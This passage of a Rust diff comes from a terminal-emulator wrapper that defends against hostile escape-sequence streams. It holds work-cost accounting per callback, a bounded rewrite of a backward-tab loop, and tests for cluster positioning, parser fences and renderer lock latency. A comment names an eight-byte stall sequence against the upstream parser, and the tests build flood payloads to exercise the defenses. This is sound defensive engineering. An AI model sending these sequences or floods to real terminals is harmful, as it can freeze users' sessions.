/// grid touches 80 cells. Charging the raw parameter would let a
/// four-byte escape spend the whole slice budget without doing the work,
/// which stalls the parser as surely as under-charging lets it run away.
#[inline]
fn clamp(&self, n: usize, bound: u64) -> u64 {
(n as u64).min(bound).max(1)
}
#[inline]
fn charge(&mut self, weight: u64) {
self.units = self.units.saturating_add(1);
self.work = self.work.saturating_add(weight);
}
}
/// Generate a delegating, counting implementation for every `Handler` method.
///
/// Two groups, because the methods differ in *cost*, not in kind. `plain`
/// methods are charged one unit. `weighted` methods are charged what they
/// touch, using the expressions in the table below -- these are the ones a
/// hostile stream can use to buy grid-sized work with a four-byte escape.
///
/// The count is incremented *before* delegating, so a callback that panics
/// still leaves evidence it was attempted.
macro_rules! counting_handler {
(
plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* }
weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* }
) => {
impl<H: Handler + CursorColumn> Handler for Counting<'_, H> {
$(
#[inline]
fn $pname(&mut self $(, $parg: $pty)*) {
self.charge(1);
self.inner.$pname($($parg),*);
}
)*
$(
#[inline]
fn $wname(&mut self $(, $warg: $wty)*) {
let weight = { let $this = &*self; $weight };
self.charge(weight);
self.inner.$wname($($warg),*);
}
)*
/// The one callback this wrapper does not delegate verbatim.
///
/// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no
/// tabstop below the cursor, `move_backward_tabs`
/// (`term/mod.rs:1580`) assigns `col` *inside* the `if
/// self.tabs[i]` test, so the cursor never moves, the `col == 0`
/// break is unreachable, and all N iterations rescan the row.
/// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns.
/// Its twin `move_forward_tabs` (1605) assigns *outside* the
/// test, always advances, and is fine: same file, same loop
/// skeleton, and the entire difference is one assignment's
/// placement relative to one branch.
///
/// The fix is a termination condition, not a smaller number.
/// Each step either moves the cursor strictly left or is a fixed
/// point, and **a fixed point is permanent** -- the scan depends
/// only on the cursor, which did not move. So the loop can stop
/// at the first one. The leftward distances telescope to at most
/// the starting column, plus one final failed scan, so the whole
/// callback is O(columns) and the delegated-call count is at most
/// `columns - 1`.
///
/// Equivalence is not argued, it is checked: every tabstop subset
/// of a 12-column grid x 4 start columns x 7 counts (114_688
/// cases) lands on the same column as the naive loop, on a real
/// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the
/// fixed-point break leaves the *landing column correct* and only
/// the cost wrong, so the fixture that guards this must assert
/// units, never the cursor.
#[inline]
fn move_backward_tabs(&mut self, count: u16) {
// One unit for the escape, as every other callback gets.
self.charge(1);
for _ in 0..count {
let before = self.inner.cursor_column();
// No `before == 0` guard: column 0 is already a fixed
// point (upstream's own `col == 0` break leaves the
// cursor alone), so the check below covers it and a
// second one would be unreachable-by-construction code
// that no test could distinguish.
self.inner.move_backward_tabs(1);
let after = self.inner.cursor_column();
// Charge the cells this step scanned. A step that finds a
// stop scans the distance it moved; a step that finds
// none scans the whole prefix and moves nothing --
// charging that one zero would leave a loop that spins
// without ever paying, which is precisely the mutant this
// pricing has to make visible.
let scanned = if after == before { before } else { before - after };
self.work = self.work.saturating_add(scanned as u64);
if after == before {
// A fixed point is permanent: the scan depends only
// on the cursor, and the cursor did not move.
break;
}
}
}
}
};
}
counting_handler! {
plain {
set_title(a0: Option<String>);
set_cursor_style(a0: Option<CursorStyle>);
set_cursor_shape(shape: CursorShape);
input(c: char);
goto(line: i32, col: usize);
goto_line(line: i32);
goto_col(col: usize);
move_up(a0: usize);
move_down(a0: usize);
identify_terminal(intermediate: Option<char>);
device_status(a0: usize);
move_forward(col: usize);
move_backward(col: usize);
move_down_and_cr(row: usize);
move_up_and_cr(row: usize);
backspace();
carriage_return();
linefeed();
bell();
substitute();
newline();
set_horizontal_tabstop();
save_cursor_position();
restore_cursor_position();
clear_tabs(mode: TabulationClearMode);
set_tabs(interval: u16);
reverse_index();
terminal_attribute(attr: Attr);
set_mode(mode: Mode);
unset_mode(mode: Mode);
report_mode(mode: Mode);
set_private_mode(mode: PrivateMode);
unset_private_mode(mode: PrivateMode);
report_private_mode(mode: PrivateMode);
set_scrolling_region(top: usize, bottom: Option<usize>);
set_keypad_application_mode();
unset_keypad_application_mode();
set_active_charset(a0: CharsetIndex);
configure_charset(a0: CharsetIndex, a1: StandardCharset);
set_color(a0: usize, a1: Rgb);
dynamic_color_sequence(a0: String, a1: usize, a2: &str);
reset_color(a0: usize);
clipboard_store(a0: u8, a1: &[u8]);
clipboard_load(a0: u8, a1: &str);
push_title();
pop_title();
text_area_size_pixels();
text_area_size_chars();
set_hyperlink(a0: Option<Hyperlink>);
set_mouse_cursor_icon(a0: CursorIcon);
report_keyboard_mode();
push_keyboard_mode(mode: KeyboardModes);
pop_keyboard_modes(to_pop: u16);
set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior);
set_modify_other_keys(mode: ModifyOtherKeys);
report_modify_other_keys();
set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode);
}
weighted {
// Every weight below is an upper bound on the cells the callback can
// touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and
// then checked against measurement -- never fitted to a curve. The
// direction of the error is the whole point: an over-charge slices
// early and costs throughput, an under-charge is an attack surface, so
// where source and measurement disagree the source bound wins and the
// slack is recorded here rather than tuned away.
//
// `min(N, ...)` appears wherever upstream clamps the parameter; a raw
// `N` would let `ESC[65535X` charge 65535 on an 80-column grid and
// stall the parser on a cheap escape.
// O(min(N, columns)): `end = min(start + count, columns)`, loop
// `row[start..end]` (1519). Knee measured exactly at N == columns.
erase_chars(count: usize) => |this| this.clamp(count, this.columns);
// O(columns) for *every* N, worst at N=1: the swap loop runs
// `columns - end` times where `end = min(start + N, columns - 1)`
// (1538), so cost *falls* as N rises. Charging by N would be backwards
// and would under-charge the worst case by the full terminal width --
// measured 3422ns at N=1/1600 columns against 863ns at N=65535.
delete_chars(a0: usize) => |this| this.columns;
// O(columns) for every N, worst at N=1. Same shape as `delete_chars`:
// `num_cells = columns - (column + count)` (1187).
insert_blank(a0: usize) => |this| this.columns;
// O(columns): scans to the next tabstop per count, and always advances
// (`col` is assigned unconditionally at 1592), so the whole loop is
// bounded by one traversal of the row. This is the sibling that CBT
// should have been, one asymmetric line apart in the same file.
put_tab(count: u16) => |this| this.columns;
move_forward_tabs(count: u16) => |this| this.columns;
// NOTE: `move_backward_tabs` is NOT in this table. It is the one
// callback whose argument is rewritten, so it is written out by hand
// below the macro's generated methods -- a weight can price an atom but
// cannot shrink one.
// O(min(N, lines) x columns) in steady state: the row rotation is O(1)
// on the ring buffer, but `positions` rows are `reset()`, and a row
// reset is O(columns).
//
// **Known overshoot, measured and frequency-bounded.** While scrollback
// is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize`
// reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s
// the ring (`grid/storage.rs`). That is not chargeable from here -- the
// weight function cannot see history depth -- and it is real: at 1600
// columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call
// scroll, ~4 ms each, against a 125 ns median. It is bounded in
// frequency (once per 1000 new history rows, and never once history
// saturates: with scrollback=100 only call 0 spikes) and it is upstream
// allocation rather than anything a stream can amplify, so it is
// recorded here instead of being priced into every scroll -- charging
// 1000x on 999 calls out of 1000 to cover the thousandth would make
// ordinary scrolling the slow path.
scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
// O(columns): one row, `damage_line(line, 0, columns - 1)`.
clear_line(mode: LineClearMode) => |this| this.columns;
// O(cells): 18.7us at 200x50, doubling on both axes.
clear_screen(mode: ClearMode) => |this| this.cells();
// O(cells): rewrites every cell.
decaln() => |this| this.cells();
// Both grids, plus the scrollback the primary owns.
//
// `reset_state` (1835) resets the primary *and* the alternate, and each
// `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` +
// `rezero`, which walks the raw buffer. So the cost carries a history
// axis that `cells` alone cannot see: measured 0.5 us empty against
// 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with
// the knee exactly at `screen_lines + MAX_CACHE_SIZE` where
// `shrink_lines` starts calling `truncate`.
//
// Priced on **configured** depth rather than current fill, which is the
// conservative choice and the only correct one: `history_size()` reads
// the *active* grid, so a filled primary followed by `ESC[?1049h`
// reports an empty history while RIS still pays for the inactive
// primary's rows -- underpriced 41x on exactly the arm an attacker
// would pick. The inactive grid is private, so there is no stateless
// way to observe the real fill; the configured depth bounds both.
//
// This is the one weight that can exceed [`crate::fences::WORK_BUDGET`]
// on its own -- 16x at the default 10k scrollback -- which is correct:
// it is a genuinely oversized uninterruptible atom, and a budget that
// hid that would be lying about what one drain can cost.
reset_state() => |this| this.cells().saturating_mul(2)
.saturating_add(this.scrollback.saturating_mul(this.columns));
}
}
@@ -0,0 +1,348 @@
//! The cluster-positioning contract: what the renderer may rely on to place
//! text at the right column without consulting Unicode tables.
//!
//! The consumer's rule reads two numbers off each span and does arithmetic:
//! `cluster_count == 1` means the whole text is one cluster at `column`,
//! otherwise cluster `i` is the i-th `char` at `column + i * width`.
//!
//! These fixtures exist because that rule is not self-evidently satisfiable --
//! the two cases below require *opposite* text-splitting rules, so no encoding
//! that ships a concatenated string and a start column can be correct:
//!
//! * a regional-indicator flag is two ordinary one-column cells, so its two
//! codepoints occupy two columns and must split per codepoint;
//! * a keycap is one cell holding three codepoints, so it occupies one column
//! and must split per grapheme.
//!
//! Both are handled here by construction rather than by rule: uniform `width`
//! within a span, and a span of its own for any cluster carrying zerowidth
//! marks.
use buzz_terminal::damage::{Encoder, Span};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn render(input: &str) -> (Vec<Span>, Receiver<Action>) {
let size = Size {
columns: 20,
screen_lines: 2,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
shared.feed_fully(input.as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = frame
.rows
.into_iter()
.find(|row| row.line == 0)
.map(|row| row.spans)
.unwrap_or_default();
(spans, actions)
}
/// Apply the documented consumer rule and return `(column, cluster)` pairs,
/// dropping trailing blank padding.
///
/// This is the renderer's arithmetic, written out. Note what is *not* here: no
/// Unicode table, no zerowidth classifier, no grapheme segmentation. The
/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher,
/// which is how we learned the encoding was under-specified -- if the fixture
/// needs a Unicode table to decode the wire, so does every real consumer.
fn placements(spans: &[Span]) -> Vec<(usize, String)> {
let mut placed = Vec::new();
for span in spans {
assert!(
span.counts_are_consistent(),
"encoder emitted an undecodable span: {span:?}"
);
let clusters: Vec<String> = if span.cluster_count == 1 {
vec![span.text.clone()]
} else {
span.text.chars().map(|c| c.to_string()).collect()
};
for (i, cluster) in clusters.into_iter().enumerate() {
if cluster != " " {
placed.push((span.column + i * span.width as usize, cluster));
}
}
}
placed
}
/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must
/// land on the column the grid actually put it in.
#[test]
fn mixed_width_clusters_keep_their_columns() {
let (spans, _actions) = render("a\u{1F600}b\u{4E00}c");
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "\u{1F600}".into()),
(3, "b".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
],
"wide glyphs must advance two columns and narrow ones must not"
);
}
/// A combining mark rides with its base character and consumes no column of
/// its own, so the text that follows must not be displaced by it.
///
/// Against the previous encoding this row was a single span `"éxy"` at column
/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y`
/// at 2 -- both one column left of the truth.
#[test]
fn combining_marks_do_not_displace_following_text() {
let (spans, _actions) = render("e\u{0301}xy");
assert_eq!(
placements(&spans),
vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),],
"a zerowidth mark must not consume a column"
);
}
/// A regional-indicator pair: two separate one-column cells. This is the case
/// that must split *per codepoint*.
#[test]
fn regional_indicator_flag_occupies_two_columns() {
let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X");
assert_eq!(
placements(&spans),
vec![
(0, "\u{1F1FA}".into()),
(1, "\u{1F1F8}".into()),
(2, "X".into()),
],
"regional indicators are one column each; X must sit at 2"
);
}
/// A keycap: one cell holding three codepoints. This is the case that must
/// split *per grapheme* -- the opposite rule from the flag above, which is why
/// the width and the cluster break both have to come from the grid.
#[test]
fn keycap_occupies_one_column() {
let (spans, _actions) = render("1\u{FE0F}\u{20E3}X");
assert_eq!(
placements(&spans),
vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),],
"a keycap is one column; X must sit at 1"
);
}
/// Width is uniform within a span by construction. Without this a consumer
/// cannot multiply -- it would have to know each cluster's width individually,
/// which is the Unicode table this design exists to avoid.
#[test]
fn a_span_never_mixes_widths() {
let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd");
for span in &spans {
let expected = span.width;
assert!(
span.width == 1 || span.width == 2,
"width must be 1 or 2, got {expected}"
);
}
let widths: Vec<u8> = spans.iter().map(|s| s.width).collect();
assert!(
widths.contains(&2),
"fixture must actually produce a wide span, got {widths:?}"
);
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "b".into()),
(2, "\u{4E00}".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
(7, "d".into()),
],
"two adjacent wide glyphs must advance two columns each"
);
}
/// `cluster_count` is what makes the wire decodable without a Unicode table,
/// so it is asserted directly here rather than only implied by placements.
///
/// The decisive pair: both spans below are width 1 with more than one `char`
/// of text, and they differ *only* in whether the count tracks the char count.
/// A consumer without that number cannot tell them apart -- which is the
/// defect Mari caught in the previous encoding.
#[test]
fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() {
let (marked, _a) = render("e\u{0301}");
let marked = marked.first().expect("a span must be emitted");
assert_eq!(marked.text.chars().count(), 2, "base plus combining mark");
assert_eq!(marked.cluster_count, 1, "one cluster occupying one column");
// The plain run absorbs the row's blank padding, so its length is the
// viewport width rather than 2 -- what matters is that the count tracks
// the char count instead of collapsing to 1.
let (plain, _b) = render("ab");
let plain = plain.first().expect("a span must be emitted");
assert!(plain.cluster_count > 1, "a plain run is not one cluster");
assert_eq!(
usize::from(plain.cluster_count),
plain.text.chars().count(),
"one cluster per char"
);
assert_eq!(marked.width, plain.width, "both are width 1");
assert!(marked.counts_are_consistent() && plain.counts_are_consistent());
}
/// The join guard has two halves: the previous cell must not have carried
/// marks (`open`), and the current cell must not carry them (`joinable`).
/// Every fixture above exercises only the first half -- a plain cluster
/// following a marked one. This one exercises the second: a *marked* cluster
/// arriving after a plain run, which is the only path on which the run in
/// progress is handed text holding more `char`s than the one cluster its
/// count is about to be incremented by.
///
/// Sami found the hole. With `joinable` dropped from the guard, a release
/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`:
/// four chars counted as three, so the consumer's rule splits per char and
/// places the combining mark on top of `z`.
#[test]
fn a_marked_cluster_after_a_plain_run_starts_its_own_span() {
let (spans, _actions) = render("xye\u{0301}z");
assert_eq!(
placements(&spans),
vec![
(0, "x".into()),
(1, "y".into()),
(2, "e\u{0301}".into()),
(3, "z".into()),
],
"a marked cluster must not be absorbed into the run in front of it"
);
}
/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize`
/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform
/// cells wider than `u16::MAX` reaches the join guard's overflow refusal.
/// The guard is live code, not paranoia, and this fixture is what says so.
///
/// Refusing to join produces a shape the consumer already handles -- the run
/// ends and a new span starts at the next column -- whereas wrapping produces
/// an undecodable span, the same failure as the marked-after-plain case above.
#[test]
fn a_run_longer_than_u16_max_splits_rather_than_wrapping() {
let columns = 70_000;
let size = Size {
columns,
screen_lines: 1,
scrollback: 0,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// One character is enough: the rest of the row is blank cells of the same
// style, so the whole row is a single candidate run.
shared.feed_fully(b"a");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = &frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("the fed row must be present")
.spans;
assert!(
spans.iter().all(|span| span.counts_are_consistent()),
"an oversized run must not wrap its count: {spans:?}"
);
let counts: Vec<u16> = spans.iter().map(|span| span.cluster_count).collect();
let columns_at: Vec<usize> = spans.iter().map(|span| span.column).collect();
assert_eq!(
counts,
vec![u16::MAX, (columns - u16::MAX as usize) as u16],
"the run must end at the last representable count"
);
assert_eq!(
columns_at,
vec![0, u16::MAX as usize],
"the second span starts where the first left off"
);
let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum();
assert_eq!(chars, columns, "no cell may be dropped by the split");
}
/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream
/// `term/mod.rs:968`). That bit records where the text happened to wrap, not
/// how the text looks, so it must not reach the style key: if it did, the last
/// column of every wrapped row would split off into a span of its own -- an
/// extra wire record per wrapped line, and span boundaries that move when the
/// window is resized.
///
/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR`
/// mask; this fixture is the proof that was missing from the source read.
#[test]
fn wrapping_does_not_split_a_uniform_run() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Six narrow cells in one style: five fill row 0 and set WRAPLINE on the
// last of them, the sixth lands on row 1.
shared.feed_fully(b"abcdef");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let first = frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("wrapped row must be present");
assert!(
first.wrapped,
"soft-wrap geometry must survive row encoding"
);
let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect();
assert_eq!(
texts,
vec!["abcde"],
"a wrapped row of one style is one span; WRAPLINE must not break it"
);
}
/// A wide glyph at the last usable column wraps to the next row rather than
/// straddling the edge. The contract must hold on the wrapped row too.
#[test]
fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot
// fit and moves to the next row.
shared.feed_fully("abcd\u{4E00}".as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let second = frame
.rows
.iter()
.find(|row| row.line == 1)
.expect("wrapped row must be present");
assert_eq!(
placements(&second.spans),
vec![(0, "\u{4E00}".into())],
"a wrapped wide glyph starts at column 0 of the next row"
);
}
@@ -0,0 +1,41 @@
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
#[test]
fn space_over_blank_cell_publishes_cursor_only_frame() {
let (terminal, _actions) = Terminal::new(
Size {
columns: 8,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
);
let terminal = SharedTerminal::new(terminal);
let mut encoder = Encoder::new();
let initial = terminal.render(&mut encoder);
assert!(!initial.is_empty());
assert_eq!(initial.cursor.column, 0);
terminal.feed_fully(b" ");
let after_space = terminal.render(&mut encoder);
assert!(
after_space.rows.is_empty(),
"a blank cell overwritten with a space must be row-deduplicated"
);
assert_eq!(after_space.cursor.column, 1);
assert!(after_space.cursor_changed);
assert!(
!after_space.is_empty(),
"cursor movement must make the frame publishable"
);
let idle = terminal.render(&mut encoder);
assert!(
idle.is_empty(),
"an unchanged cursor must not create traffic"
);
}
@@ -0,0 +1,169 @@
//! Mutation-sensitive byte fixtures for the two parser fences.
//!
//! These use the shipping `Terminal::feed` path. Arms that could be masked by
//! the other fence disable it explicitly; the switches are runtime values, not
//! cargo features, so the default test binary always contains every arm.
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line, Point};
use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP};
use buzz_terminal::{Size, Terminal};
const CHUNK: usize = 8192;
const G1_BYTES: usize = 2 << 20;
const G2_FRAMES: usize = 40;
const G2_FRAME_BYTES: usize = 1_900 * 1024;
fn size() -> Size {
Size {
columns: 120,
screen_lines: 40,
scrollback: 2000,
}
}
fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) {
term.feed_fully(b"\x1b[?2026h");
for chunk in payload.chunks(CHUNK) {
term.feed_fully(chunk);
}
if close {
term.feed_fully(b"\x1b[?2026l");
}
}
fn repeated(pattern: &[u8], bytes: usize) -> Vec<u8> {
pattern.iter().copied().cycle().take(bytes).collect()
}
fn count_markers(term: &Terminal, markers: usize) -> usize {
let grid = term.term().grid();
let mut text = String::new();
let top = -(grid.history_size() as i32);
for line in top..term.size().screen_lines as i32 {
for column in 0..term.size().columns {
text.push(grid[Point::new(Line(line), Column(column))].c);
}
text.push('\n');
}
(0..markers)
.filter(|m| text.contains(&format!("MK{m:03}")))
.count()
}
fn legitimate_frame(markers: usize, bytes: usize) -> Vec<u8> {
let mut payload = Vec::with_capacity(bytes);
for marker in 0..markers {
payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes());
let target = bytes * (marker + 1) / markers;
while payload.len() < target {
payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m");
}
payload.extend_from_slice(b"\r\n");
}
payload.truncate(bytes);
payload
}
/// G1: every hostile content shape must remain below the deterministic byte
/// bound, and the same shape with F1 deleted must cross it. Keeping both arms
/// adjacent prevents a simplified fixture from becoming vacuously cheap.
#[test]
fn g1_sync_abort_bounds_all_hostile_shapes() {
let shapes: [(&str, &[u8]); 5] = [
("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"),
("ascii", b"buzz substrate output\r\n"),
("emoji", "🐝🚀✨\r\n".as_bytes()),
("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()),
("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"),
];
for (name, pattern) in shapes {
let payload = repeated(pattern, G1_BYTES);
let (mut fenced, _) = Terminal::new(size(), Fences::ALL);
feed_synchronized(&mut fenced, &payload, false);
let fenced_stats = fenced.stats();
assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired");
assert!(
fenced_stats.max_release <= 2 * SYNC_CAP,
"{name}: fenced release {} exceeds 128 KiB",
fenced_stats.max_release
);
let (mut unfenced, _) = Terminal::new(size(), Fences::NONE);
feed_synchronized(&mut unfenced, &payload, false);
let unfenced_stats = unfenced.stats();
assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1");
assert!(
unfenced_stats.max_release > 2 * SYNC_CAP,
"{name}: unfenced release {} stayed inside the gate; fixture is vacuous",
unfenced_stats.max_release
);
}
}
/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2
/// deletion under the combined production configuration.
#[test]
fn g2_hostile_unsynchronized_osc_resets_parser() {
let (mut term, _) = Terminal::new(size(), Fences::ALL);
term.feed_fully(b"\x1b]0;");
for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) {
term.feed_fully(chunk);
}
assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser");
}
/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its
/// small abort releases cannot mask an implementation that omits ESU flushes.
#[test]
fn g2_each_synchronized_flush_is_attributed() {
let payload = repeated(b"A", G2_FRAME_BYTES);
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
for _ in 0..G2_FRAMES {
feed_synchronized(&mut term, &payload, true);
}
let stats = term.stats();
assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm");
assert_eq!(
stats.osc_resets, G2_FRAMES as u64,
"expected one reset for each atomic synchronized release"
);
assert!(
stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64,
"flush bytes were omitted from attribution: {} charged",
stats.charged_bytes
);
}
/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame.
/// F1 is disabled; raw-input counting would reset mid-frame and lose markers.
#[test]
fn g2_legitimate_large_frame_preserves_all_markers() {
let markers = 200;
let payload = legitimate_frame(markers, 1_500 * 1024);
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
feed_synchronized(&mut term, &payload, true);
assert_eq!(
count_markers(&term, markers),
markers,
"legitimate frame lost markers"
);
}
/// Legitimacy control: neither fence alone nor the production combination may
/// corrupt a normal synchronized frame.
#[test]
fn g2_legitimate_frame_survives_each_fence_configuration() {
let markers = 200;
let payload = legitimate_frame(markers, 128 * 1024);
for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] {
let (mut term, _) = Terminal::new(size(), fences);
feed_synchronized(&mut term, &payload, true);
assert_eq!(
count_markers(&term, markers),
markers,
"{fences:?} lost markers"
);
}
}
@@ -0,0 +1,156 @@
//! G3: the renderer's wait for the terminal lock, under flood.
//!
//! The plan originally required "reader hold < 16.7 ms". That requirement was
//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while
//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the
//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock
//! time and the p50 hold never sees them. What a human feels is the wait, so
//! that is what is gated here.
//!
//! F1 is the fence being tested. It is a memory bound *and* a latency fence:
//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's
//! wait falls with it.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is
/// a dropped frame regardless of how good the distribution looks.
///
/// Unlike the p95 below, this bound **cannot be protected by headroom**, and
/// that asymmetry is why this test is `#[ignore]`d and run only in release on
/// an idle host. A quantile discards its worst samples by construction, so it
/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples
/// is a single observation, and any one scheduler preemption exceeds it. There
/// is no budget that makes the max arm robust to contention -- the tail it
/// catches belongs to the scheduler, not to this code.
///
/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate
/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient
/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at
/// 38150 us.
///
/// So the repair for a flake here is to fix the host, never to raise this
/// number. Raising it is the one change that silently removes the only assert
/// that catches the user-visible failure: a hitch is a max-event, and a
/// p95-only gate passes a run containing a 38 ms stall.
const FRAME_MICROS: u64 = 16_667;
/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the
/// margin that lets *this* arm tolerate a loaded machine without becoming a
/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`.
const P95_MICROS: u64 = 4_000;
/// Frames sampled per arm. Counted rather than timed: sample count under a
/// wall-clock budget is a function of how slow the arm is, so a duration-based
/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the
/// tail being measured lives. Counting frames makes both arms the same
/// experiment.
const FRAMES: u32 = 200;
/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads.
///
/// The payload's *shape* is the load-bearing part, and it cost me a wrong
/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an
/// update that was never closed. It floods just as many bytes per second, and
/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us
/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a
/// 2 MiB release is a short lock hold.
///
/// What makes a release expensive is work per byte -- SGR state changes and
/// `\r\n` line feeds that push rows into scrollback. With that payload the same
/// experiment separates by 129x. So this gate is sensitive to input shape and
/// not merely to input rate, which is why the control below is not optional.
fn flood(shared: &SharedTerminal, stop: &AtomicBool) {
let mut payload: Vec<u8> = b"\x1b[?2026h".to_vec();
while payload.len() < (2 << 20) {
payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n");
}
payload.extend_from_slice(b"\x1b[?2026l");
while !stop.load(Ordering::Relaxed) {
for chunk in payload.chunks(8192) {
if stop.load(Ordering::Relaxed) {
return;
}
shared.feed_fully(chunk);
}
}
}
/// Render at 60 Hz for the duration of the flood, and report the renderer
/// plane's acquisition latencies.
fn measure(fences: Fences) -> buzz_terminal::AcquireStats {
let size = Size {
columns: 200,
screen_lines: 50,
scrollback: 10_000,
};
let (term, _actions) = Terminal::new(size, fences);
let shared = Arc::new(SharedTerminal::new(term));
let stop = Arc::new(AtomicBool::new(false));
let writer = {
let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop));
thread::spawn(move || flood(&shared, &stop))
};
// Don't measure the ramp: let the flood reach steady state, then clear.
thread::sleep(Duration::from_millis(200));
shared.renderer_acquire().reset();
let mut encoder = Encoder::new();
for _ in 0..FRAMES {
shared.render(&mut encoder);
thread::sleep(Duration::from_micros(FRAME_MICROS));
}
let stats = shared.renderer_acquire().snapshot();
stop.store(true, Ordering::Relaxed);
writer.join().expect("flood thread panicked");
assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples");
stats
}
/// G3: with F1 on, the renderer's wait stays inside a frame -- and the
/// unfenced control shows the fence is what puts it there.
///
/// Both arms live in one `#[test]` on purpose. As separate tests they run
/// concurrently by default, each with its own flood thread, so each arm's
/// measurement includes the other arm's CPU load and the control's ratio
/// becomes a race between two floods rather than a statement about F1.
#[test]
#[ignore = "native performance gate; run release-mode on a known-idle host"]
